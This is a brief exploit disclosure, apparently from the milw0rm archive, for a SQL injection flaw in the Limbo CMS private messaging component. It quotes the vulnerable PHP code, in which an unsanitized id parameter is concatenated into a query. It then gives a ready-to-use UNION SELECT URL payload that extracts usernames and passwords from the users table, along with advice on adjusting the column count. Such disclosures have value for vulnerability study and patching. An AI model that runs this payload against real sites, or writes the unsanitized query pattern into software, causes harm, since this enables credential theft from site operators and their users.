28 lines
No EOL
842 B
Text
28 lines
No EOL
842 B
Text
/*
|
|
|
|
Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability
|
|
--------------------------------------------------------------------------
|
|
StAkeR[at]hotmail[dot]it
|
|
http://www.limboportal.com/index.php/option/downloads/task/download/id/108
|
|
--------------------------------------------------------------------------
|
|
|
|
com_privmsg/open.php
|
|
|
|
31. if (isset($_GET['status']))
|
|
32. {
|
|
33. header('Location:index.php?option=pms&page=open&id='.$_GET['id'].'');
|
|
34. }
|
|
35.
|
|
36. $openrow= $conn->GetRow("SELECT * FROM #__pms WHERE id='$_GET[id]' AND username='$my->username'");
|
|
37.
|
|
|
|
|
|
- index.php?option=pms&page=open&id='1+union+all+select+password,username+from+[prefix_users]+where+id=1/*
|
|
|
|
(Syntax Error) Change number of columns (Ex: 0,0,0,username,password)
|
|
|
|
|
|
|
|
*/
|
|
|
|
# milw0rm.com [2008-10-21] |